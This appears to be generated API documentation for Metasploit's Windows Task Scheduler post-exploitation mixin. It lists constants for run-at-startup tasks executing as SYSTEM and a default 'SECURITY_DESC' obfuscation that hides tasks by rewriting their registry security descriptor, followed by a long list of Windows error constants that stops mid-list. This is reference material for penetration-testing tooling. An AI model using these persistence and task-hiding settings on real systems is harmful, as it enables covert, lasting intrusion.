Module: Msf::Post::Windows::TaskScheduler

Includes:

Module::UI::Message, Common, Priv

Defined in:

lib/msf/core/post/windows/task_scheduler.rb

Overview

Post module mixin for dealing with Windows Task Scheduler

Defined Under Namespace

Classes: TaskSchedulerError, TaskSchedulerObfuscationError, TaskSchedulerSystemPrivsError

Constant Summary

TASK_REG_KEY =

'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree'.freeze

TASK_SD_REG_VALUE =

Security descriptor value

'SD'.freeze

DEFAULT_SD =

This Security Descriptor correspond to the builtin ‘Guest’ user and built-in ‘Guests’ group. This has been generated from the following security descriptor string: “O:BGG:BG”

'01000080140000002400000000000000000000000102000000000005200000002202000001020000000000052000000022020000'.freeze

SCHED_S_TASK_RUNNING =

HRESULT returned in the field ‘Last Result` by `schtasks /query` when the task is currently running (see docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/705fb797-2175-4a90-b5a3-3918024b10b8)

0x00041301

DEFAULT_SCHEDULE_TASK_TYPE =

'ONSTART'.freeze

DEFAULT_SCHEDULE_MODIFIER =

1

DEFAULT_SCHEDULE_RUNAS =

'SYSTEM'.freeze

DEFAULT_SCHEDULE_OBFUSCATION_TECHNIQUE =

'SECURITY_DESC'.freeze

Constants included from Priv

Priv::ADMINISTRATORS_SID, Priv::INTEGRITY_LEVEL_SID, Priv::SYSTEM_SID, Priv::UAC_DEFAULT, Priv::UAC_NO_PROMPT, Priv::UAC_PROMPT_CONSENT, Priv::UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, Priv::UAC_PROMPT_CREDS, Priv::UAC_PROMPT_CREDS_IF_SECURE_DESKTOP

Constants included from Registry

Registry::HKEY_CLASSES_ROOT, Registry::HKEY_CURRENT_CONFIG, Registry::HKEY_CURRENT_USER, Registry::HKEY_DYN_DATA, Registry::HKEY_LOCAL_MACHINE, Registry::HKEY_PERFORMANCE_DATA, Registry::HKEY_USERS, Registry::REGISTRY_VIEW_32_BIT, Registry::REGISTRY_VIEW_64_BIT, Registry::REGISTRY_VIEW_NATIVE, Registry::REG_BIG_ENDIAN, Registry::REG_BINARY, Registry::REG_DWORD, Registry::REG_EXPAND_SZ, Registry::REG_LINK, Registry::REG_LITTLE_ENDIAN, Registry::REG_MULTI_SZ, Registry::REG_NONE, Registry::REG_QWORD, Registry::REG_SZ

Constants included from Accounts

Accounts::DOMAIN_CONTROLLER_INFO, Accounts::GROUP_INFO, Accounts::GROUP_USERS_INFO, Accounts::GUID, Accounts::LOCALGROUP_INFO, Accounts::LOCALGROUP_MEMBERS_INFO, Accounts::USER_INFO

Constants included from Error

Error::ABANDONED_WAIT_0, Error::ABANDONED_WAIT_63, Error::ABANDON_HIBERFILE, Error::ABIOS_ERROR, Error::ACCESS_AUDIT_BY_POLICY, Error::ACCESS_DENIED, Error::ACCESS_DISABLED_BY_POLICY, Error::ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY, Error::ACCESS_DISABLED_WEBBLADE, Error::ACCESS_DISABLED_WEBBLADE_TAMPER, Error::ACCOUNT_DISABLED, Error::ACCOUNT_EXPIRED, Error::ACCOUNT_LOCKED_OUT, Error::ACCOUNT_RESTRICTION, Error::ACPI_ERROR, Error::ACTIVATION_COUNT_EXCEEDED, Error::ACTIVE_CONNECTIONS, Error::ADAP_HDW_ERR, Error::ADDRESS_ALREADY_ASSOCIATED, Error::ADDRESS_NOT_ASSOCIATED, Error::ADVANCED_INSTALLER_FAILED, Error::ALERTED, Error::ALIAS_EXISTS, Error::ALLOCATE_BUCKET, Error::ALLOTTED_SPACE_EXCEEDED, Error::ALL_NODES_NOT_AVAILABLE, Error::ALL_USER_TRUST_QUOTA_EXCEEDED, Error::ALREADY_ASSIGNED, Error::ALREADY_EXISTS, Error::ALREADY_FIBER, Error::ALREADY_INITIALIZED, Error::ALREADY_REGISTERED, Error::ALREADY_RUNNING_LKG, Error::ALREADY_THREAD, Error::ALREADY_WAITING, Error::ALREADY_WIN32, Error::AMBIGUOUS_SYSTEM_DEVICE, Error::APPHELP_BLOCK, Error::APP_INIT_FAILURE, Error::APP_WRONG_OS, Error::ARBITRATION_UNHANDLED, Error::ARENA_TRASHED, Error::ARITHMETIC_OVERFLOW, Error::ASSERTION_FAILURE, Error::ATOMIC_LOCKS_NOT_SUPPORTED, Error::AUDIT_FAILED, Error::AUTHENTICATION_FIREWALL_FAILED, Error::AUTHIP_FAILURE, Error::AUTODATASEG_EXCEEDS_64k, Error::BACKUP_CONTROLLER, Error::BADDB, Error::BADKEY, Error::BADSTARTPOSITION, Error::BAD_ACCESSOR_FLAGS, Error::BAD_ARGUMENTS, Error::BAD_CLUSTERS, Error::BAD_COMMAND, Error::BAD_COMPRESSION_BUFFER, Error::BAD_CONFIGURATION, Error::BAD_CURRENT_DIRECTORY, Error::BAD_DESCRIPTOR_FORMAT, Error::BAD_DEVICE, Error::BAD_DEV_TYPE, Error::BAD_DLL_ENTRYPOINT, Error::BAD_DRIVER, Error::BAD_DRIVER_LEVEL, Error::BAD_ENVIRONMENT, Error::BAD_EXE_FORMAT, Error::BAD_FILE_TYPE, Error::BAD_FORMAT, Error::BAD_FUNCTION_TABLE, Error::BAD_IMPERSONATION_LEVEL, Error::BAD_INHERITANCE_ACL, Error::BAD_LENGTH, Error::BAD_LOGON_SESSION_STATE, Error::BAD_MCFG_TABLE, Error::BAD_NETPATH, Error::BAD_NET_NAME, Error::BAD_NET_RESP, Error::BAD_PATHNAME, Error::BAD_PIPE, Error::BAD_PROFILE, Error::BAD_PROVIDER, Error::BAD_QUERY_SYNTAX, Error::BAD_RECOVERY_POLICY, Error::BAD_REM_ADAP, Error::BAD_SERVICE_ENTRYPOINT, Error::BAD_STACK, Error::BAD_THREADID_ADDR, Error::BAD_TOKEN_TYPE, Error::BAD_UNIT, Error::BAD_USERNAME, Error::BAD_USER_PROFILE, Error::BAD_VALIDATION_CLASS, Error::BEGINNING_OF_MEDIA, Error::BEYOND_VDL, Error::BIOS_FAILED_TO_CONNECT_INTERRUPT, Error::BOOT_ALREADY_ACCEPTED, Error::BROKEN_PIPE, Error::BUFFER_ALL_ZEROS, Error::BUFFER_OVERFLOW, Error::BUSY, Error::BUSY_DRIVE, Error::BUS_RESET, Error::CACHE_PAGE_LOCKED, Error::CALLBACK_POP_STACK, Error::CALLBACK_SUPPLIED_INVALID_DATA, Error::CALL_NOT_IMPLEMENTED, Error::CANCELLED, Error::CANCEL_VIOLATION, Error::CANNOT_ABORT_TRANSACTIONS, Error::CANNOT_ACCEPT_TRANSACTED_WORK, Error::CANNOT_BREAK_OPLOCK, Error::CANNOT_COPY, Error::CANNOT_DETECT_DRIVER_FAILURE, Error::CANNOT_DETECT_PROCESS_ABORT, Error::CANNOT_EXECUTE_FILE_IN_TRANSACTION, Error::CANNOT_FIND_WND_CLASS, Error::CANNOT_GRANT_REQUESTED_OPLOCK, Error::CANNOT_IMPERSONATE, Error::CANNOT_LOAD_REGISTRY_FILE, Error::CANNOT_MAKE, Error::CANNOT_OPEN_PROFILE, Error::CANTFETCHBACKWARDS, Error::CANTOPEN, Error::CANTREAD, Error::CANTSCROLLBACKWARDS, Error::CANTWRITE, Error::CANT_ACCESS_DOMAIN_INFO, Error::CANT_ACCESS_FILE, Error::CANT_BREAK_TRANSACTIONAL_DEPENDENCY, Error::CANT_CREATE_MORE_STREAM_MINIVERSIONS, Error::CANT_CROSS_RM_BOUNDARY, Error::CANT_DELETE_LAST_ITEM, Error::CANT_DISABLE_MANDATORY, Error::CANT_ENABLE_DENY_ONLY, Error::CANT_EVICT_ACTIVE_NODE, Error::CANT_OPEN_ANONYMOUS, Error::CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT, Error::CANT_RECOVER_WITH_HANDLE_OPEN, Error::CANT_RESOLVE_FILENAME, Error::CANT_TERMINATE_SELF, Error::CANT_WAIT, Error::CAN_NOT_COMPLETE, Error::CAN_NOT_DEL_LOCAL_WINS, Error::CARDBUS_NOT_SUPPORTED, Error::CHECKING_FILE_SYSTEM, Error::CHECKOUT_REQUIRED, Error::CHILD_MUST_BE_VOLATILE, Error::CHILD_NOT_COMPLETE, Error::CHILD_WINDOW_MENU, Error::CIRCULAR_DEPENDENCY, Error::CLASS_ALREADY_EXISTS, Error::CLASS_DOES_NOT_EXIST, Error::CLASS_HAS_WINDOWS, Error::CLEANER_CARTRIDGE_INSTALLED, Error::CLEANER_CARTRIDGE_SPENT, Error::CLEANER_SLOT_NOT_SET, Error::CLEANER_SLOT_SET, Error::CLIENT_SERVER_PARAMETERS_INVALID, Error::CLIPBOARD_NOT_OPEN, Error::CLIPPING_NOT_SUPPORTED, Error::CLUSCFG_ALREADY_COMMITTED, Error::CLUSCFG_ROLLBACK_FAILED, Error::CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT, Error::CLUSTERLOG_CHKPOINT_NOT_FOUND, Error::CLUSTERLOG_CORRUPT, Error::CLUSTERLOG_EXCEEDS_MAXSIZE, Error::CLUSTERLOG_NOT_ENOUGH_SPACE, Error::CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE, Error::CLUSTER_BACKUP_IN_PROGRESS, Error::CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME, Error::CLUSTER_CANT_DESERIALIZE_DATA, Error::CLUSTER_DATABASE_SEQMISMATCH, Error::CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS, Error::CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS, Error::CLUSTER_EVICT_INVALID_REQUEST, Error::CLUSTER_EVICT_WITHOUT_CLEANUP, Error::CLUSTER_GROUP_BUSY, Error::CLUSTER_GROUP_MOVING, Error::CLUSTER_GROUP_SINGLETON_RESOURCE, Error::CLUSTER_GUM_NOT_LOCKER, Error::CLUSTER_INCOMPATIBLE_VERSIONS, Error::CLUSTER_INSTANCE_ID_MISMATCH, Error::CLUSTER_INTERNAL_INVALID_FUNCTION, Error::CLUSTER_INVALID_IPV6_NETWORK, Error::CLUSTER_INVALID_IPV6_TUNNEL_NETWORK, Error::CLUSTER_INVALID_NETWORK, Error::CLUSTER_INVALID_NETWORK_PROVIDER, Error::CLUSTER_INVALID_NODE, Error::CLUSTER_INVALID_REQUEST, Error::CLUSTER_INVALID_SECURITY_DESCRIPTOR, Error::CLUSTER_INVALID_STRING_FORMAT, Error::CLUSTER_INVALID_STRING_TERMINATION, Error::CLUSTER_IPADDR_IN_USE, Error::CLUSTER_JOIN_ABORTED, Error::CLUSTER_JOIN_IN_PROGRESS, Error::CLUSTER_JOIN_NOT_IN_PROGRESS, Error::CLUSTER_LAST_INTERNAL_NETWORK, Error::CLUSTER_LOCAL_NODE_NOT_FOUND, Error::CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED, Error::CLUSTER_MAX_NODES_IN_CLUSTER, Error::CLUSTER_MEMBERSHIP_HALT, Error::CLUSTER_MEMBERSHIP_INVALID_STATE, Error::CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME, Error::CLUSTER_NETINTERFACE_EXISTS, Error::CLUSTER_NETINTERFACE_NOT_FOUND, Error::CLUSTER_NETWORK_ALREADY_OFFLINE, Error::CLUSTER_NETWORK_ALREADY_ONLINE, Error::CLUSTER_NETWORK_EXISTS, Error::CLUSTER_NETWORK_HAS_DEPENDENTS, Error::CLUSTER_NETWORK_NOT_FOUND, Error::CLUSTER_NETWORK_NOT_FOUND_FOR_IP, Error::CLUSTER_NETWORK_NOT_INTERNAL, Error::CLUSTER_NODE_ALREADY_DOWN, Error::CLUSTER_NODE_ALREADY_HAS_DFS_ROOT, Error::CLUSTER_NODE_ALREADY_MEMBER, Error::CLUSTER_NODE_ALREADY_UP, Error::CLUSTER_NODE_DOWN, Error::CLUSTER_NODE_EXISTS, Error::CLUSTER_NODE_NOT_FOUND, Error::CLUSTER_NODE_NOT_MEMBER, Error::CLUSTER_NODE_NOT_PAUSED, Error::CLUSTER_NODE_NOT_READY, Error::CLUSTER_NODE_PAUSED, Error::CLUSTER_NODE_SHUTTING_DOWN, Error::CLUSTER_NODE_UNREACHABLE, Error::CLUSTER_NODE_UP, Error::CLUSTER_NOT_INSTALLED, Error::CLUSTER_NOT_SHARED_VOLUME, Error::CLUSTER_NO_NET_ADAPTERS, Error::CLUSTER_NO_QUORUM, Error::CLUSTER_NO_RPC_PACKAGES_REGISTERED, Error::CLUSTER_NO_SECURITY_CONTEXT, Error::CLUSTER_NULL_DATA, Error::CLUSTER_OBJECT_ALREADY_USED, Error::CLUSTER_OLD_VERSION, Error::CLUSTER_OWNER_NOT_IN_PREFLIST, Error::CLUSTER_PARAMETER_MISMATCH, Error::CLUSTER_PARAMETER_OUT_OF_BOUNDS, Error::CLUSTER_PARTIAL_READ, Error::CLUSTER_PARTIAL_SEND, Error::CLUSTER_PARTIAL_WRITE, Error::CLUSTER_POISONED, Error::CLUSTER_PROPERTY_DATA_TYPE_MISMATCH, Error::CLUSTER_QUORUMLOG_NOT_FOUND, Error::CLUSTER_REGISTRY_INVALID_FUNCTION, Error::CLUSTER_RESNAME_NOT_FOUND, Error::CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE, Error::CLUSTER_RESOURCE_CONFIGURATION_ERROR, Error::CLUSTER_RESOURCE_PROVIDER_FAILED, Error::CLUSTER_RESOURCE_TYPE_BUSY, Error::CLUSTER_RESOURCE_TYPE_NOT_FOUND, Error::CLUSTER_RESTYPE_NOT_SUPPORTED, Error::CLUSTER_RHS_FAILED_INITIALIZATION, Error::CLUSTER_SHARED_VOLUMES_IN_USE, Error::CLUSTER_SHUTTING_DOWN, Error::CLUSTER_SINGLETON_RESOURCE, Error::CLUSTER_SYSTEM_CONFIG_CHANGED, Error::CLUSTER_TOO_MANY_NODES, Error::CLUSTER_USE_SHARED_VOLUMES_API, Error::CLUSTER_WATCHDOG_TERMINATING, Error::CLUSTER_WRONG_OS_VERSION, Error::COLORSPACE_MISMATCH, Error::COMMITMENT_LIMIT, Error::COMMITMENT_MINIMUM, Error::COMPRESSION_DISABLED, Error::COMPRESSION_NOT_ALLOWED_IN_TRANSACTION, Error::CONNECTED_OTHER_PASSWORD, Error::CONNECTED_OTHER_PASSWORD_DEFAULT, Error::CONNECTION_ABORTED, Error::CONNECTION_ACTIVE, Error::CONNECTION_COUNT_LIMIT, Error::CONNECTION_INVALID, Error::CONNECTION_REFUSED, Error::CONNECTION_UNAVAIL, Error::CONTENT_BLOCKED, Error::CONTEXT_EXPIRED, Error::CONTINUE, Error::CONTROLLING_IEPORT, Error::CONTROL_C_EXIT, Error::CONTROL_ID_NOT_FOUND, Error::CONVERT_TO_LARGE, Error::CORE_DRIVER_PACKAGE_NOT_FOUND, Error::CORE_RESOURCE, Error::CORRUPT_SYSTEM_FILE, Error::COULD_NOT_INTERPRET, Error::COULD_NOT_RESIZE_LOG, Error::COUNTER_TIMEOUT, Error::CRASH_DUMP, Error::CRC, Error::CREATE_FAILED, Error::CRM_PROTOCOL_ALREADY_EXISTS, Error::CRM_PROTOCOL_NOT_FOUND, Error::CSCSHARE_OFFLINE, Error::CSV_VOLUME_NOT_LOCAL, Error::CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE, Error::CS_ENCRYPTION_FILE_NOT_CSE, Error::CS_ENCRYPTION_INVALID_SERVER_RESPONSE, Error::CS_ENCRYPTION_NEW_ENCRYPTED_FILE, Error::CS_ENCRYPTION_UNSUPPORTED_SERVER, Error::CTX_ACCOUNT_RESTRICTION, Error::CTX_BAD_VIDEO_MODE, Error::CTX_CANNOT_MAKE_EVENTLOG_ENTRY, Error::CTX_CDM_CONNECT, Error::CTX_CDM_DISCONNECT, Error::CTX_CLIENT_LICENSE_IN_USE, Error::CTX_CLIENT_LICENSE_NOT_SET, Error::CTX_CLIENT_QUERY_TIMEOUT, Error::CTX_CLOSE_PENDING, Error::CTX_CONSOLE_CONNECT, Error::CTX_CONSOLE_DISCONNECT, Error::CTX_ENCRYPTION_LEVEL_REQUIRED, Error::CTX_GRAPHICS_INVALID, Error::CTX_INVALID_MODEMNAME, Error::CTX_INVALID_PD, Error::CTX_INVALID_WD, Error::CTX_LICENSE_CLIENT_INVALID, Error::CTX_LICENSE_EXPIRED, Error::CTX_LICENSE_NOT_AVAILABLE, Error::CTX_LOGON_DISABLED, Error::CTX_MODEM_INF_NOT_FOUND, Error::CTX_MODEM_RESPONSE_BUSY, Error::CTX_MODEM_RESPONSE_ERROR, Error::CTX_MODEM_RESPONSE_NO_CARRIER, Error::CTX_MODEM_RESPONSE_NO_DIALTONE, Error::CTX_MODEM_RESPONSE_TIMEOUT, Error::CTX_MODEM_RESPONSE_VOICE, Error::CTX_NOT_CONSOLE, Error::CTX_NO_FORCE_LOGOFF, Error::CTX_NO_OUTBUF, Error::CTX_PD_NOT_FOUND, Error::CTX_SECURITY_LAYER_ERROR, Error::CTX_SERVICE_NAME_COLLISION, Error::CTX_SESSION_IN_USE, Error::CTX_SHADOW_DENIED, Error::CTX_SHADOW_DISABLED, Error::CTX_SHADOW_ENDED_BY_MODE_CHANGE, Error::CTX_SHADOW_INVALID, Error::CTX_SHADOW_NOT_RUNNING, Error::CTX_TD_ERROR, Error::CTX_WD_NOT_FOUND, Error::CTX_WINSTATIONS_DISABLED, Error::CTX_WINSTATION_ACCESS_DENIED, Error::CTX_WINSTATION_ALREADY_EXISTS, Error::CTX_WINSTATION_BUSY, Error::CTX_WINSTATION_NAME_INVALID, Error::CTX_WINSTATION_NOT_FOUND, Error::CURRENT_DIRECTORY, Error::CURRENT_DOMAIN_NOT_ALLOWED, Error::CURRENT_TRANSACTION_NOT_VALID, Error::DATABASE_BACKUP_CORRUPT, Error::DATABASE_DOES_NOT_EXIST, Error::DATABASE_FAILURE, Error::DATABASE_FULL, Error::DATATYPE_MISMATCH, Error::DATA_LOST_REPAIR, Error::DATA_NOT_ACCEPTED, Error::DBG_COMMAND_EXCEPTION, Error::DBG_CONTINUE, Error::DBG_CONTROL_BREAK, Error::DBG_CONTROL_C, Error::DBG_EXCEPTION_HANDLED, Error::DBG_EXCEPTION_NOT_HANDLED, Error::DBG_PRINTEXCEPTION_C, Error::DBG_REPLY_LATER, Error::DBG_RIPEXCEPTION, Error::DBG_TERMINATE_PROCESS, Error::DBG_TERMINATE_THREAD, Error::DBG_UNABLE_TO_PROVIDE_HANDLE, Error::DC_NOT_FOUND, Error::DDE_FAIL, Error::DEBUGGER_INACTIVE, Error::DEBUG_ATTACH_FAILED, Error::DECRYPTION_FAILED, Error::DELAY_LOAD_FAILED, Error::DELETE_PENDING, Error::DELETING_ICM_XFORM, Error::DEPENDENCY_ALREADY_EXISTS, Error::DEPENDENCY_NOT_ALLOWED, Error::DEPENDENCY_NOT_FOUND, Error::DEPENDENCY_TREE_TOO_COMPLEX, Error::DEPENDENT_RESOURCE_EXISTS, Error::DEPENDENT_RESOURCE_PROPERTY_CONFLICT, Error::DEPENDENT_SERVICES_RUNNING, Error::DESTINATION_ELEMENT_FULL, Error::DESTROY_OBJECT_OF_OTHER_THREAD, Error::DEVICE_ALREADY_ATTACHED, Error::DEVICE_ALREADY_REMEMBERED, Error::DEVICE_DOOR_OPEN, Error::DEVICE_ENUMERATION_ERROR, Error::DEVICE_IN_USE, Error::DEVICE_NOT_AVAILABLE, Error::DEVICE_NOT_CONNECTED, Error::DEVICE_NOT_PARTITIONED, Error::DEVICE_REINITIALIZATION_NEEDED, Error::DEVICE_REMOVED, Error::DEVICE_REQUIRES_CLEANING, Error::DEV_NOT_EXIST, Error::DHCP_ADDRESS_CONFLICT, Error::DIFFERENT_SERVICE_ACCOUNT, Error::DIRECTORY, Error::DIRECTORY_NOT_RM, Error::DIRECT_ACCESS_HANDLE, Error::DIR_EFS_DISALLOWED, Error::DIR_NOT_EMPTY, Error::DIR_NOT_ROOT, Error::DISCARDED, Error::DISK_CHANGE, Error::DISK_CORRUPT, Error::DISK_FULL, Error::DISK_OPERATION_FAILED, Error::DISK_QUOTA_EXCEEDED, Error::DISK_RECALIBRATE_FAILED, Error::DISK_REPAIR_DISABLED, Error::DISK_RESET_FAILED, Error::DISK_TOO_FRAGMENTED, Error::DLL_INIT_FAILED, Error::DLL_INIT_FAILED_LOGOFF, Error::DLL_MIGHT_BE_INCOMPATIBLE, Error::DLL_MIGHT_BE_INSECURE, Error::DLL_NOT_FOUND, Error::DNS_ALIAS_LOOP, Error::DNS_AUTOZONE_ALREADY_EXISTS, Error::DNS_AXFR, Error::DNS_BACKGROUND_LOADING, Error::DNS_BAD_PACKET, Error::DNS_CANNOT_FIND_ROOT_HINTS, Error::DNS_CNAME_COLLISION, Error::DNS_CNAME_LOOP, Error::DNS_DATAFILE_OPEN_FAILURE, Error::DNS_DATAFILE_PARSING, Error::DNS_DELEGATION_REQUIRED, Error::DNS_DNAME_COLLISION, Error::DNS_DP_ALREADY_ENLISTED, Error::DNS_DP_ALREADY_EXISTS, Error::DNS_DP_DOES_NOT_EXIST, Error::DNS_DP_FSMO_ERROR, Error::DNS_DP_NOT_AVAILABLE, Error::DNS_DP_NOT_ENLISTED, Error::DNS_DS_UNAVAILABLE, Error::DNS_DS_ZONE_ALREADY_EXISTS, Error::DNS_DWORD_VALUE_TOO_LARGE, Error::DNS_DWORD_VALUE_TOO_SMALL, Error::DNS_FILE_WRITEBACK_FAILED, Error::DNS_FORWARDER_ALREADY_EXISTS, Error::DNS_INCONSISTENT_ROOT_HINTS, Error::DNS_INFO_ADDED_LOCAL_WINS, Error::DNS_INFO_AXFR_COMPLETE, Error::DNS_INFO_NO_RECORDS, Error::DNS_INVALID_DATAFILE_NAME, Error::DNS_INVALID_IP_ADDRESS, Error::DNS_INVALID_NAME_CHAR, Error::DNS_INVALID_POLICY_TABLE, Error::DNS_INVALID_PROPERTY, Error::DNS_INVALID_TYPE, Error::DNS_INVALID_ZONE_OPERATION, Error::DNS_INVALID_ZONE_TYPE, Error::DNS_NAME_DOES_NOT_EXIST, Error::DNS_NAME_NOT_IN_ZONE, Error::DNS_NBSTAT_INIT_FAILED, Error::DNS_NEED_SECONDARY_ADDRESSES, Error::DNS_NEED_WINS_SERVERS, Error::DNS_NODE_CREATION_FAILED, Error::DNS_NODE_IS_CNAME, Error::DNS_NODE_IS_DNAME, Error::DNS_NON_RFC_NAME, Error::DNS_NOT_ALLOWED_ON_RODC, Error::DNS_NOT_ALLOWED_ON_ROOT_SERVER, Error::DNS_NOT_ALLOWED_UNDER_DELEGATION, Error::DNS_NOT_ALLOWED_UNDER_DNAME, Error::DNS_NOT_UNIQUE, Error::DNS_NO_BOOTFILE_IF_DS_ZONE, Error::DNS_NO_CREATE_CACHE_DATA, Error::DNS_NO_DNS_SERVERS, Error::DNS_NO_PACKET, Error::DNS_NO_TCPIP, Error::DNS_NO_ZONE_INFO, Error::DNS_NUMERIC_NAME, Error::DNS_PRIMARY_REQUIRES_DATAFILE, Error::DNS_RCODE, Error::DNS_RCODE_BADKEY, Error::DNS_RCODE_BADSIG, Error::DNS_RCODE_BADTIME, Error::DNS_RCODE_FORMAT_ERROR, Error::DNS_RCODE_NAME_ERROR, Error::DNS_RCODE_NOTAUTH, Error::DNS_RCODE_NOTZONE, Error::DNS_RCODE_NOT_IMPLEMENTED, Error::DNS_RCODE_NXRRSET, Error::DNS_RCODE_REFUSED, Error::DNS_RCODE_SERVER_FAILURE, Error::DNS_RCODE_YXDOMAIN, Error::DNS_RCODE_YXRRSET, Error::DNS_RECORD_ALREADY_EXISTS, Error::DNS_RECORD_DOES_NOT_EXIST, Error::DNS_RECORD_FORMAT, Error::DNS_RECORD_ONLY_AT_ZONE_ROOT, Error::DNS_RECORD_TIMED_OUT, Error::DNS_SECONDARY_DATA, Error::DNS_SECONDARY_REQUIRES_MASTER_IP, Error::DNS_SOA_DELETE_INVALID, Error::DNS_STATUS_CONTINUE_NEEDED, Error::DNS_STATUS_DOTTED_NAME, Error::DNS_STATUS_FQDN, Error::DNS_STATUS_SINGLE_PART_NAME, Error::DNS_TRY_AGAIN_LATER, Error::DNS_UNKNOWN_RECORD_TYPE, Error::DNS_UNSECURE_PACKET, Error::DNS_WARNING_DOMAIN_UNDELETED, Error::DNS_WARNING_PTR_CREATE_FAILED, Error::DNS_WINS_INIT_FAILED, Error::DNS_ZONE_ALREADY_EXISTS, Error::DNS_ZONE_CONFIGURATION_ERROR, Error::DNS_ZONE_CREATION_FAILED, Error::DNS_ZONE_DOES_NOT_EXIST, Error::DNS_ZONE_HAS_NO_NS_RECORDS, Error::DNS_ZONE_HAS_NO_SOA_RECORD, Error::DNS_ZONE_IS_SHUTDOWN, Error::DNS_ZONE_LOCKED, Error::DNS_ZONE_NOT_SECONDARY, Error::DNS_ZONE_REQUIRES_MASTER_IP, Error::DOMAIN_CONTROLLER_EXISTS, Error::DOMAIN_CONTROLLER_NOT_FOUND, Error::DOMAIN_CTRLR_CONFIG_ERROR, Error::DOMAIN_EXISTS, Error::DOMAIN_LIMIT_EXCEEDED, Error::DOMAIN_TRUST_INCONSISTENT, Error::DOWNGRADE_DETECTED, Error::DRIVERS_LEAKING_LOCKED_PAGES, Error::DRIVER_BLOCKED, Error::DRIVER_CANCEL_TIMEOUT, Error::DRIVER_DATABASE_ERROR, Error::DRIVER_FAILED_PRIOR_UNLOAD, Error::DRIVER_FAILED_SLEEP, Error::DRIVER_PROCESS_TERMINATED, Error::DRIVE_LOCKED, Error::DRIVE_MEDIA_MISMATCH, Error::DS_ADD_REPLICA_INHIBITED, Error::DS_ADMIN_LIMIT_EXCEEDED, Error::DS_AFFECTS_MULTIPLE_DSAS, Error::DS_AG_CANT_HAVE_UNIVERSAL_MEMBER, Error::DS_ALIASED_OBJ_MISSING, Error::DS_ALIAS_DEREF_PROBLEM, Error::DS_ALIAS_POINTS_TO_ALIAS, Error::DS_ALIAS_PROBLEM, Error::DS_ATTRIBUTE_OR_VALUE_EXISTS, Error::DS_ATTRIBUTE_OWNED_BY_SAM, Error::DS_ATTRIBUTE_TYPE_UNDEFINED, Error::DS_ATT_ALREADY_EXISTS, Error::DS_ATT_IS_NOT_ON_OBJ, Error::DS_ATT_NOT_DEF_FOR_CLASS, Error::DS_ATT_NOT_DEF_IN_SCHEMA, Error::DS_ATT_SCHEMA_REQ_ID, Error::DS_ATT_SCHEMA_REQ_SYNTAX, Error::DS_ATT_VAL_ALREADY_EXISTS, Error::DS_AUDIT_FAILURE, Error::DS_AUTHORIZATION_FAILED, Error::DS_AUTH_METHOD_NOT_SUPPORTED, Error::DS_AUTH_UNKNOWN, Error::DS_AUX_CLS_TEST_FAIL, Error::DS_BACKLINK_WITHOUT_LINK, Error::DS_BAD_ATT_SCHEMA_SYNTAX, Error::DS_BAD_HIERARCHY_FILE, Error::DS_BAD_INSTANCE_TYPE, Error::DS_BAD_NAME_SYNTAX, Error::DS_BAD_RDN_ATT_ID_SYNTAX, Error::DS_BUILD_HIERARCHY_TABLE_FAILED, Error::DS_BUSY, Error::DS_CANT_ACCESS_REMOTE_PART_OF_AD, Error::DS_CANT_ADD_ATT_VALUES, Error::DS_CANT_ADD_SYSTEM_ONLY, Error::DS_CANT_ADD_TO_GC, Error::DS_CANT_CACHE_ATT, Error::DS_CANT_CACHE_CLASS, Error::DS_CANT_CREATE_IN_NONDOMAIN_NC, Error::DS_CANT_CREATE_UNDER_SCHEMA, Error::DS_CANT_DELETE, Error::DS_CANT_DELETE_DSA_OBJ, Error::DS_CANT_DEL_MASTER_CROSSREF, Error::DS_CANT_DEMOTE_WITH_WRITEABLE_NC, Error::DS_CANT_DEREF_ALIAS, Error::DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN, Error::DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF, Error::DS_CANT_FIND_DC_FOR_SRC_DOMAIN, Error::DS_CANT_FIND_DSA_OBJ, Error::DS_CANT_FIND_EXPECTED_NC, Error::DS_CANT_FIND_NC_IN_CACHE, Error::DS_CANT_MIX_MASTER_AND_REPS, Error::DS_CANT_MOD_OBJ_CLASS, Error::DS_CANT_MOD_PRIMARYGROUPID, Error::DS_CANT_MOD_SYSTEM_ONLY, Error::DS_CANT_MOVE_ACCOUNT_GROUP, Error::DS_CANT_MOVE_APP_BASIC_GROUP, Error::DS_CANT_MOVE_APP_QUERY_GROUP, Error::DS_CANT_MOVE_DELETED_OBJECT, Error::DS_CANT_MOVE_RESOURCE_GROUP, Error::DS_CANT_ON_NON_LEAF, Error::DS_CANT_ON_RDN, Error::DS_CANT_REMOVE_ATT_CACHE, Error::DS_CANT_REMOVE_CLASS_CACHE, Error::DS_CANT_REM_MISSING_ATT, Error::DS_CANT_REM_MISSING_ATT_VAL, Error::DS_CANT_REPLACE_HIDDEN_REC, Error::DS_CANT_RETRIEVE_ATTS, Error::DS_CANT_RETRIEVE_CHILD, Error::DS_CANT_RETRIEVE_DN, Error::DS_CANT_RETRIEVE_INSTANCE, Error::DS_CANT_RETRIEVE_SD, Error::DS_CANT_START, Error::DS_CANT_TREE_DELETE_CRITICAL_OBJ, Error::DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS, Error::DS_CHILDREN_EXIST, Error::DS_CLASS_MUST_BE_CONCRETE, Error::DS_CLASS_NOT_DSA, Error::DS_CLIENT_LOOP, Error::DS_CODE_INCONSISTENCY, Error::DS_COMPARE_FALSE, Error::DS_COMPARE_TRUE, Error::DS_CONFIDENTIALITY_REQUIRED, Error::DS_CONFIG_PARAM_MISSING, Error::DS_CONSTRAINT_VIOLATION, Error::DS_CONSTRUCTED_ATT_MOD, Error::DS_CONTROL_NOT_FOUND, Error::DS_COULDNT_CONTACT_FSMO, Error::DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE, 